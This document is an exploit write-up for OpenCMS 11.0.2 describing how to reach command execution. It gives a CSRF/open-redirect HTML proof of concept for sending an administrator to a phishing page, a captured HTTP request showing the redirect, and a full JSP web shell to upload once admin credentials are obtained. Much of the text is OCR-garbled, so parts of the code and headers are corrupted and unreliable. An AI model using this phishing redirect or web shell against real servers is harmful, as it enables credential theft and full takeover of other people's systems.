Local Command Execution (File Upload) in OpenCMS 11.0.2

Author: Daniel Moreno

First, you need to get valid JSESSIONID admin Cookie or admin login and password.

Version 11.0.2 is vulnerable to Open Redirect and CSRF vulnerability (Fig 1 and 2).
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<html>
<l-- CSRF PoC - generated by Burp Suite Professional -->»
<body>»
<scriptrhistory.pushState(*", '", "/')</script>
<form action="https:/ /system/login">»

<input type="hidden" name="loginRedirect"” value="https&#58;8#47;&#417;googlel#lb;com” />
<input type="submit" walue="Submit request” />
</forms>
</body>»
</html>|

Fig 1 — CSRF vulnerability. Due to this vulnerability, Open Redirect is possible.
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1 GET fsystem/login?loginBedirect=https://google_ com HTTP/L.1 ) A 1 HTTP/1l.1 302 Found

2 Host: site P 2 location: https://google.com

3 Conmection: close content-type: text/html;charsec=UTF-3
4 Cache-Control: max-age=0 content-length: 0

S Upgrade-Tnsecure-Pequests: 1 date: Thu, 04 Mar 2021 14:42:5& GMT

£ Origin: _ £ H-envoy-upstream-service-time: 31
7 User-igent: Mozillays5.0 (Windows NT 10.0; Wing4; x84) AppleWebKit/537.3& (FHTHL, like 7 connection: close

Geclko) Chrome/85.0.4183.82 BafarisE37.3& 2 Bet-Cookie:
5 Accept: 5 M-Frame—Optd ) [x)

text/html,application/xhtmltxnl, application/xnl;q=0.9, image/avif, image /webp, inage/apng, */*; 10 Server:
q=0.8,application/signed-exchange;v=h3,;q=0.9 11 Strict-Transport-Security. max-age=8£400;
g c-Fetch-Site: same-origin
1 Bec-Fetch-Mode: navigate 13
1 Sec-Fetch-User: 71
2 Sec-Fetch-Dest: document

: Referer:

Accept-Encoding: gzip, deflate

Accept-Langquage: pb-BR,pt;g=0.9,en-US;q=0.8,en,;q=0.7
¢ Cookie: JSESSIONID_ opencms|

Fig 2 — Open Redirect in GET request. Send admin to your phishing page.



After obtaining the administrator password, upload malicious JSP (Fig 3).
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Fig 3 — File upload.
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<%@ page
import="java.util.*,java.io.*"%>
<%
%>
<HTML>
<BODY>
<H3>JSP SHELL</H3>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit"” VALUE="Execute">
</FORM>
<PRE>
<%
if (request.getParameter("cmd") != null) {
out.println(“Command: " +
request.getParameter("cmd") + "<BR>");
Process p =
Runtime.getRuntime().exec(request.getParameter(“cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DatalnputStream dis = new DatalnputStream(in);
String disr = dis.readline();
while ( disr != null ) {
out.println(disr);
disr = dis.readline();
¥
¥
%>
</PRE>
</BODY>
</HTML>

Fig 4 — Malicious JSP.
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Fig 5 — Change file type to JSP.
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Fig 6 — Local command execution.



